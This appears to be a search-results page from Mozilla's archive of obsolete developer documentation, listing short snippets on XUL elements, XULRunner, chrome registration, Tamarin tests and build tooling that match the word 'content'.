bonsai is tree control it is a tool that lets you perform queries on the
contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period.
... original document information author(s): jamie zawinski last updated date: september 8, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Conclusion - Archive of obsolete content
firefox has slightly different chrome registry requirements, so you may need to modify the
contents.rdf files.
... for example, you need to change chrome://navigator/
content/navigator.xul to chrome://browser/
content/browser.xul.
Finding the file to modify - Archive of obsolete content
the dom inspector will display the url of the xul file that defines the mozilla browser window, which is chrome://navigator/
content/navigator.xul.
...in this case the chrome url refers to the file located at mozilla-installation-directory/chrome/
content/navigator/navigator.xul.
Making a Mozilla installation modifiable - Archive of obsolete content
the files are then collected into a series of jar archives, which are just zip files that contain a specially formatted "manifest" file which describes the
contents of the archive so mozilla knows what to do with them.
...if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the url jar:resource:/chrome/comm.jar!/
content/necko/, change it to resource:/chrome/
content/necko/.
Specifying the appearance - Archive of obsolete content
for this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("chrome://navigator/
content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://navigator/
content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://navigator/
content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/
content/tb-busted.png"); }...
...ave to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/
content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
Creating a hybrid CD - Archive of obsolete content
warning: the
content of this article may be out of date.
... original document information author(s): dawn endico last updated date: may 1, 2001 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Creating a Release Tag - Archive of obsolete content
warning: the
content of this article may be out of date.
...-name cvs | xargs -l -p10 cvs tag -l mozilla_0_9_4_1_release >& ../taglog original document information author(s): dawn endico last updated date: november 1, 2005 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Developing New Mozilla Features - Archive of obsolete content
warning: the
content of this article may be out of date.
... original document information author(s): mitchell baker last updated date: october 30, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Drag and Drop Example - Archive of obsolete content
first, we'll add the wrapper scripts: <script src="chrome://global/
content/nsdraganddrop.js"/> <script src="chrome://global/
content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included which will contain the code we will write ourselves.
...the final code is shown below: <window title="widget dragger" id="test-window" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <script src="chrome://global/
content/nsdraganddrop.js"/> <script src="chrome://global/
content/nstransferable.js"/> <script src="dragboard.js"/> <stack id="board" style="width:300px; height: 300px; max-width: 300px; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop="nsdraganddrop.drop(event, boardobserver)"> </stack> <vbox> <button label="button" ...
Editor Embedding Guide - Archive of obsolete content
in the beginning there is makeeditable given an nsiwebbrowser instance, get an nsidomwindow from the get
contentdomwindow call.
...ed; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) editor commands you need to call commands and receive updates in order to make any changes to the
content on the browser.
Fast Graphics Performance With HTML - Archive of obsolete content
make
content that has scrolling
content underneath it opaque e.g.
... use <div><div style="background:white; position:fixed">simple</div>lots of text...</div> instead of <div><div style="position:fixed">simple</div>lots of text...</div> make the
content of scrollable sub frames opaque e.g.
Documentation for BiDi Mozilla - Archive of obsolete content
the order of the frames in the
content model is not affected, so frames that are adjacent in the
content model can be far apart visually.
... numeric translation conversion to/from presentation forms nsbidipresutils layout/base/nsbidipresutils.cpp utilities for the layout engine including: resolve frames by bidi level split framesreorder frames format bidi text support for deletion and insertion of frames by editor nsbiditextframe layout/generic/nsbidiframes.cpp subclass of nsframe with additional method setoffsets, to adjust m
contentoffset and m
contentlength during bidi processing nsdirectionalframe layout/generic/nsbidiframes.cpp subclass of nsframethis is a special frame which represents a bidi control.
Repackaging Firefox - Archive of obsolete content
this xpi has the following
contents chrome.manifest components/partnerbookmarks.js defaults/preferences/partner.js install.rdf locale/ar/partner.properties locale/cs/partner.properties locale/da/partner.properties locale/de/partner.properties locale/el/partner.properties locale/en-gb/partner.properties locale/partner.properties locale/es-ar/partner.properties locale/es-es/partner.properties locale/fi/partner.properties locale/fr/...
...ies locale/pl/partner.properties locale/pt-br/partner.properties locale/pt-pt/partner.properties locale/ru/partner.properties locale/sk/partner.properties locale/sv-se/partner.properties locale/tr/partner.properties locale/zh-cn/partner.properties locale/zh-tw/partner.properties partner-bookmarks.xml one by one, the files listed above are: chrome.manifest contains a specialized listing of the
contents of the xpi.
HTTP Class Overview - Archive of obsolete content
warning: the
content of this article may be out of date.
... stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document information author(s): darin fisher last updated date: august 5, 2002 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
UI - Archive of obsolete content
menu accessing, modifying, and creating menus in the browser slidebar ui mechanism for displaying jetpack
content in a slide-out animated vertical column toolbar including entries and access elements into the toolbar panel a movable, expandable, and custom styled
content element to display jetpack
content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting u...
...sers via provided ui mechanisms selection interacting with user-selected
content window mitigates and eases interactions between different browser windows ...
Microsummary XML grammar reference - Archive of obsolete content
a microsummary generator is an xml document that describes how to pull specific information from a web page to be presented in summary form as a bookmark whose title changes based on the
content of the page it targets.
...the element can be used to specify both an absolute update interval and a series of conditional intervals based on the
content of the page being summarized.
Modularization techniques - Archive of obsolete content
warning: the
content of this article may be out of date.
... links the component object model specification revision history feb 25, 1998, created oct 19, 1998, dusted off momentarily oct 10, 1999, added comments about xpidl, language-independentness original document information author(s): will scullin last updated date: september 13, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details ...
Mozilla Application Framework - Archive of obsolete content
gecko a performant web
content rendering/editing engine with world-leading support for standards that you can drop into your application with a single line of xul.
... original document information author(s): myk melez last updated date: march 3, 2003 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Hacking wiki - Archive of obsolete content
for anonymous access use: svn co http://svn.mozilla.org/projects/deve...lla.org/trunk/ to see the skins properly, you'll need to also check out <tt>mozilla-org/css</tt> to get the css files needed: export cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/www cvs login cvs co mozilla-org/css (when prompted to enter a password, type <tt>anonymous</tt>) setting up copy the
contents of the <tt>trunk</tt> folder and the <tt>css</tt> folder (note: the folder itself) into the <tt>www</tt> directory on your server.
... the
contents of the <tt>trunk</tt> directory you just checked out is a slightly modified mediawiki install, so you can follow the mediawiki install instructions.
PyDOM - Archive of obsolete content
for example, <window script-type="application/x-python" .../> html <meta http-equiv="
content-script-type"
content="application/x-python" /> should work (but possibly doesn't - see bug 100924).
...
content loaded from anywhere other than a chrome:// url can not host python.
Supporting per-window private browsing - Archive of obsolete content
to do this, import resource://gre/modules/privatebrowsingutils.jsm and use privatebrowsingutils.getprivacycontextfromwindow(win), passing a window object that is related to the
content in question.
...in some cases, there is no logical window object to use (such as when data or an action originate from some other source than web
content).
Table Cellmap - Archive of obsolete content
<table> <tr><td>cell 1</td><td colspan="2">cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td><td>cell 5</td></tr> </table> table cell map would be: row 0 : c0,0 c0,1 c row 1 : c1,0 c1,1 c1,2 while it is clear that in the cells that are the origin of a table cells one will find a address the more interesting question is, what will be the
content in the upper right cell.
... original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Abc Assembler Tests - Archive of obsolete content
sample abcasm test /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the
contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
... * * contributor(s): * adobe as3 team * * alternatively, the
contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
Tamarin Acceptance Test Template - Archive of obsolete content
this is the test template for tamarin acceptance tests (placed in test/acceptance/feature_name): /* -*- mode: js; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */ /* vi: set ts=4 sw=4 expandtab: (add to ~/.vimrc: set modeline modelines=5) */ /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the
contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
... * * contributor(s): * adobe as3 team * * alternatively, the
contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
Actionscript Acceptance Tests - Archive of obsolete content
eg: -no-optimize merge| -as3 a dir.asc_args file can also be created with the same
contents that will apply to the entire directory.
... here is a more complicated example that passes both avm args, multiple abcs and test args: -ojit |multiabc| $dir/testname_support/a.abc -- test_args a dir.avm_args file can also be created with the same
contents that will apply to the entire directory.
Cmdline tests - Archive of obsolete content
two use cases for the cmdline testsuite: use case 1: test the interactive cmdline debugger test
contents: start avmshell -d test.abc, set breakpoint on a line, show local variable value, quit from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns...
... memory logs to stdout test
contents: start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
Uriloader - Archive of obsolete content
uriloader: responsible for the dispatch of
content to
content handlers as it comes in from the network.
... overview of a uri load up though dispatch to a
content handler helper application tech talk mime type determination in mozilla overview of how downloads work ...
DOM Interfaces - Archive of obsolete content
this method enables an author to determine the scope of any
content node.
... when
content at the document-level scope is passed in as an argument, the property's value is null.
getWinRegistry - Archive of obsolete content
description use the getwinregistry method to create an object for manipulating the
contents of the windows registry.
... once you have this object, you can call its methods to retrieve or change the registry's
content.
registerChrome - Archive of obsolete content
xpipath xpipath is the path within the xpi in where the
contents.rdf file defining the chrome is located.
...in this case, registerchrome does not require a path inside the archive, as it does now in order to locate the more flexible
contents.rdf format of installation archives.
SVG And Canvas In Mozilla - Archive of obsolete content
to realize this potential in web applications, browsers must expose rich new graphics apis to web
content.
...this work provides additional benefits to web developers such as the ability to apply svg effects to html
content.
datasources - Archive of obsolete content
« xul reference home datasources type: space separated list of datasource uris a space-separated list of datasources that an element's template will use for
content generation.
...this will make the element so that its
contents can be generated from a datasource.
editor.type - Archive of obsolete content
« xul reference home type type: string if set to the string
content-primary, this editor becomes the primary
content for the page.
... the window for the primary
content can be retrieved more conveniently using window.
content.
flags - Archive of obsolete content
dont-test-empty: for template generated
content, the builder will not check that a container is empty.
... dont-build-
content: this flag may be used on a tree to indicate that
content elements should not be generated.
script.type - Archive of obsolete content
« xul reference home type type: language
content type the language of the script.
...if you omit this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web
content without specifying a version number).
showcaret - Archive of obsolete content
« xul reference home showcaret type: boolean whether or not to cause a typing caret to be visible in the
content area.
... examples <iframe id="
content-body" src="http://www.mozilla.org/" showcaret="true"/> <browser src="http://www.mozilla.org" flex="1" showcaret="true"/> ...
spellcheck - Archive of obsolete content
--> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div
contenteditable="true" spellcheck="true">i am some
content</div> <!-- spellcheck nothing!
... --> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div
contenteditable="true" spellcheck="false">i am some
content</div> you can use spellcheck on input, textarea, and
contenteditable elements.
src - Archive of obsolete content
« xul reference home src type: uri the uri of the
content to appear in the element.
... examples <iframe id="
content-body" src="http://www.mozilla.org/"/> <browser src="http://www.mozilla.org" flex="1"/> <image src='firefoxlogo.png' width='135' height='130'/> see also prefpane.src treecell.src treecol.src script.src stringbundle.src checkbox.src ...
textbox.type - Archive of obsolete content
if you have <binding id="input" extends="chrome://global/
content/bindings/autocomplete.xml#autocomplete" >, then the textbox will have autocomplete type, regardless of tree's 'type' attribute.
... use <binding extends="chrome://global/
content/bindings/textbox.xml#textbox" > for ordinary textbox.
treecol.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the
contents of cells in the column to be changed, especially useful when type="checkbox".
... when the user double-clicks an editable cell, a text field appears in which the user can edit the
contents of the cell.
value - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
findbar - Archive of obsolete content
attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="
content-primary" flex="1" id="
content" src="about:blank"/> <findbar id="findtoolbar" browserid="
content"/> attributes browserid type: string the id of the browser element to which the findbar is attached.
... this opens the findbar, focuses the edit field for the search term, and selects its
contents.
Menus - Archive of obsolete content
firefox context menu element id description relevant context
contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area.
... links context-bookmarklink bookmarks a link links context-savelink saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-viewimage views an image at full size images context-copyimage-
contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackground sets an image as the desktop background images context-blockimage blocks an image image...
How to implement a custom XUL query processor component - Archive of obsolete content
xul supports templating to create a block of
content from a datasource query.
...1?name=simpledata", getdatasource: function(adatasources, arootnode, aistrusted, abuilder, ashoulddelaybuilding) { // todo: parse the adatasources variable // for now, ignore everything and let's just signal that we have data return this._data; }, initializeforbuilding: function(adatasource, abuilder, arootnode) { // perform any initialization that can be delayed until the
content builder // is ready for us to start }, done: function() { // called when the builder is destroyed to clean up state }, compilequery: function(abuilder, aquery, arefvariable, amembervariable) { // outputs a query object.
appendNotification - Archive of obsolete content
this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich
content as well.
... popup: null }; buttons.push(button2); //appendnotification( label , value , image (url) , priority , buttons, eventcallback ) notifybox.appendnotification("my notification text", "test notification unique id", "chrome://browser/
content/aboutrobots-icon.png", notifybox.priority_info_high, buttons, testnotificationcallback); } ...
PopupEvents - Archive of obsolete content
the typical usage of a listener of the popupshowing event is to adjust the
content of the popup based on context.
...in this example, the
contents of a textbox are cleared whenever a popup is hidden.
Property - Archive of obsolete content
vents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container
contentdocument
contentprincipal
contenttitle
contentview
contentvieweredit
contentviewerfile
contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol...
...t.nextelementsibling dom:element.nextsibling dom:element.nodename dom:element.nodetype dom:element.nodevalue dom:element.ownerdocument dom:element.parentnode dom:element.prefix dom:element.previouselementsibling dom:element.previoussibling dom:element.scrollheight dom:element.scrollleft dom:element.scrolltop dom:element.scrollwidth dom:element.tagname dom:element.text
content ...
Bindings - Archive of obsolete content
<query> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above', ?description = 'view from the top of the tower looking east of the doges palace') thus, only one match exists, so only one set of
content is generated.
Adding Event Handlers - Archive of obsolete content
for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/
content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
... by default the javascript console only shows errors from web
content.
Creating Dialogs - Archive of obsolete content
var somefile=document.getelementbyid('enterfile').value; window.opendialog("chrome://findfile/
content/showdetails.xul","showmore", "chrome",somefile); in this example the dialog showdetails.xul is displayed.
... example dialog with more features <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizeto
content();" buttons="accept,cancel" buttonlabelaccept="set favourite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </script> <dialogheader title=...
Features of a Window - Archive of obsolete content
if you do not add the 'chrome' flag, the file will open up as the
content in a browser window.
... for example: var mywin = window.open("chrome://findfile/
content/findfile.xul", "findfile", "chrome"); specifying the width and height you should have noticed that whenever elements were added to a window, the window's width expanded to fit the new elements.
Focus and Selection - Archive of obsolete content
text selection when working with a textbox, you may wish to retrieve not the entire
contents of a field but only what the user has selected.
...you can retrieve and modify the
contents of the textbox by using the value property.
Groupboxes - Archive of obsolete content
although any
content can be used, usually you would use a checkbox or dropdown menu.
...we might use a script to enable and disable the
contents of the groupbox when the checkbox is checked and unchecked.
Introduction - Archive of obsolete content
some elements that can be created are: input controls such as textboxes and checkboxes toolbars with buttons or other
content menus on a menu bar or pop up menus tabbed dialogs trees for hierarchical or tabular information keyboard shortcuts the displayed
content can be created from the
contents of a xul file or with data from a datasource.
...the
contents of menus, trees and other elements can be populated with this data, or with your own data supplied in an rdf file.
More Button Features - Archive of obsolete content
buttons with extra
content buttons may have arbitrary markup contained inside them, and it will be rendered inside the button.
...if you specify the label attribute on the button, it will override any
content placed inside the button.
More Tree Features - Archive of obsolete content
this can sometimes be quite tricky, but fortunately, the built-in
content tree view does all of the hard work for us.
...for a
content tree view, this will set the open attribute to reflect the current state.
More Wizards - Archive of obsolete content
for example, here are a set of wizard pages (the inner
content has been omitted): <wizardpage pageid="type" next="font"> <wizardpage pageid="font" next="done"> <wizardpage pageid="color" next="done"> <wizardpage pageid="done"> the wizard always starts at the first page, which in this case has the page id type.
... next, we'll see how to use overlays to handle common
content.
Skinning XUL Files by Hand - Archive of obsolete content
by the way, in contrast to the term skin, "chrome" refers to the skin and the
content and whatever localization and platform-specific files are necessary for a particular part of the application or window.
... the skin is just the style or appearance of an interface, where the chrome is the style,
content, and structure.
XBL Inheritance - Archive of obsolete content
example 1 : source <binding id="textboxwithhttp" extends="chrome://global/
content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element.
...this means that we inherit all of the
content and behavior provided by the textbox binding.
XUL Tutorial - Archive of obsolete content
files simple elements creating a window adding buttons adding labels and images input controls numeric controls list controls progress meters adding html elements using spacers more button features the box model the box model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids
content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more event handlers keyboard shortcuts focus and selection commands updating commands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom...
...e selection custom tree views tree view details tree box objects rdf and templates introduction to rdf templates trees and templates rdf datasources advanced rules persistent data skins and locales adding style sheets styling a tree modifying the default skin creating a skin skinning xul files by hand localization property files bindings introduction to xbl anonymous
content xbl attribute inheritance adding properties adding methods adding event handlers xbl inheritance creating reusable
content using css and xbl xbl example specialized window types features of a window creating dialogs open and save dialogs creating a wizard more wizards overlays cross package overlays installation creating an installer install scripts additional install fea...
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions
content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale script ...
...refox autocomplete) textbox (mozilla autocomplete) timepicker description label image listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions
content member param query queryset rule template textnode triple where script commandset command broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct mar...
XML - Archive of obsolete content
note that our language doesn't suffice to describe the
content of the memo, which is written in english.
...as the figure below indicates, xul is an amalgam of these different standards: css for styling or "skinning", dom for the object model and scriptable access, javascript for the linking and behavior, rdf for resources, xml for the structure, and html for the
content and some little extras.
button - Archive of obsolete content
you can specify the label of the button using the label attribute or by placing
content inside the button.
...panel elements are popups that support any type of
content.
clicktoscroll - Archive of obsolete content
« xul reference home clicktoscroll type: boolean if true, the up or down arrow(s) must be clicked to scroll the
content.
... if false, the
content will scroll automatically when the cursor hovers over either arrow.
label - Archive of obsolete content
for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
...<label control="email">email address</label> <textbox id="email"/> if the text node contains no tags, it can easily be accessed and manipulated from javascript using node.text
content.
menupopup - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container used to display the
contents of a popup menu.
...this handler is usually used to dynamically set the
contents when the user requests to display it.
notificationbox - Archive of obsolete content
t notification box within a firefox extension, you can retrieve the current notification box for a specific tab by calling the global function getnotificationbox(): notifybox = chromewin.getnotificationbox(notifywindow) notifybox = getnotificationbox(notifywindow) // applies to current context's window object here, chromewin is the xul window (usually just window), and notifywindow is the web
content window for the tab you want to find the notification box for.
...this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich
content as well.
panel - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a panel is a used as a temporary floating popup window that may contain any type of
content.
...this handler is usually used to dynamically set the
contents when the user requests to display it.
query - Archive of obsolete content
the attributes and
content of the query are dependent on the type of datasource being used.
... for rdf datasources, the query should contain one
content element as well as member and/or triple elements.
rule - Archive of obsolete content
the children of the rule are used to declare the conditions in which the rule matches and the
content that is generated.
...for each result that matches all of the conditions,
content within the rule's action body is generated.
script - Archive of obsolete content
type type: language
content type the language of the script.
...if you omit this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web
content without specifying a version number).
stack - Archive of obsolete content
examples <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1"left="10"right="10" top="10" bottom="10"/> </hbox> <hbox> <!-- some
content here.
... --> </hbox> </stack> in this example, the resulting width of the top-most hbox will be 400px (600px - 200px - 0) : <stack width="600"> <hbox flex="1"> <!--
content --> </hbox> <hbox left="0" right="200" > <!-- some
content here.
tab - Archive of obsolete content
this might be used to avoid duplication by linking several tabs to one panel with slight differences to the
content adjusted in the select event.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
tooltip - Archive of obsolete content
this handler is usually used to dynamically set the
contents when the user requests to display it.
... page type: boolean setting the page attribute to true will result in the tooltip being filled automatically as appropriate for a browser
content area tooltip, i.e.
XUL - Archive of obsolete content
template guide a detailed guide on xul templates, which is a means of generating
content from a datasource.
... overlays overlays are used to describe extra
content for the ui.
CommandLine - Archive of obsolete content
components.classes["@mozilla.org/categorymanager;1"] .getservice(nsicategorymanager); catman.deletecategoryentry("command-line-handler", cld_category); }, canunload : function (acompmgr) { return true; } }; function nsgetmodule(acompmgr, afilespec) { return apphandlermodule; } create an observer that will get notified when arguments change: chrome/
content/cmdline.js function commandlineobserver() { this.register(); } commandlineobserver.prototype = { observe: function(asubject, atopic, adata) { var cmdline = asubject.queryinterface(components.interfaces.nsicommandline); var test = cmdline.handleflagwithparam("test", false); alert("test = " + test); }, register: function() { var observerservice = components.classes["@mo...
...var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(window.arguments[0], "commandline-args-changed", null); addeventlistener("unload", observer.unregister, false); finally, add a reference in your application window to the observer: chrome/
content/window.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="main" title="&window.title;" windowtype="xulmine" style="width: 300px; height: 350px;" persist="screenx screeny width height sizemode"> <script type="application/javascript" src="cmdline.js" /...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
in the case of mccoy, a separate manifest is used for
content/, skin/ and locale/.
...you can make this jar.mn to rule them all just by concatenating the three files in the mccoy example and updating the path to each file (since you will need to point to the correct subdirectory): mccoy.jar: %
content mccoy %
content/ *
content/mccoy.xul (
content/mccoy.xul)
content/mccoy.js (
content/mccoy.js) *
content/mccoy.xml (
content/mccoy.xml) ...etc...
Deploying XULRunner - Archive of obsolete content
here's how the entire application bundle looks: myapp.app/
contents/ info.plist pkginfo resources/ application.ini app_icon.icns components/ ...
...the complete bundle structure is as follows: myapp.app/
contents/ info.plist pkginfo frameworks/ xul.framework/ files copied from /library/frameworks/xul.framework/versions/1.8/...
Dialogs in XULRunner - Archive of obsolete content
here is an example xul dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizeto
content();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ //dosomething() return true; } function docancel(){ return true; } ...
...here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/
content/dialog.xul", "newdlg", "modal"); } the resulting dialog looks like this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related attributes on the element.
XULRunner Hall of Fame - Archive of obsolete content
source ieditweb a client/server based
content manager and internet application suite.
... slimerjs slimerjs is a xulrunner application that can be launched with firefox, allowing to execute an external javascript script which can manipulate web
content.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
t(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data:
content, < complete: getresponse, <
contenttype: soapclient.
contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("
content-length", soapclient.
contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.ac...
...tion); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > '
content-type': soapclient.
contenttype + '; charset="' + > soapclient.charset + '"', > '
content-length': soapclient.
contentlength, > 'soapserver': soapclient.soapserver, > 'soapaction': soapreq.action > }; > for (var h in headers) { xhr.setrequestheader(h, headers[h]); } > xhr.send(
content); ...
ant script to assemble an extension - Archive of obsolete content
<include name="**/*"/> <exclude name="**/*~"/> <exclude name="**/*.tpl.*"/> <exclude name="blogmark.jar"/> </fileset> </jar> </target> <target name="templates" description="generate files from templates."> <copy file="chrome/
content/blogmark/
contents.rdf.tpl.xml" tofile="chrome/
content/blogmark/
contents.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> ...
... </replacetokens> </filterchain> </copy> <copy file="chrome/
content/blogmark/about.xul.tpl.xml" tofile="chrome/
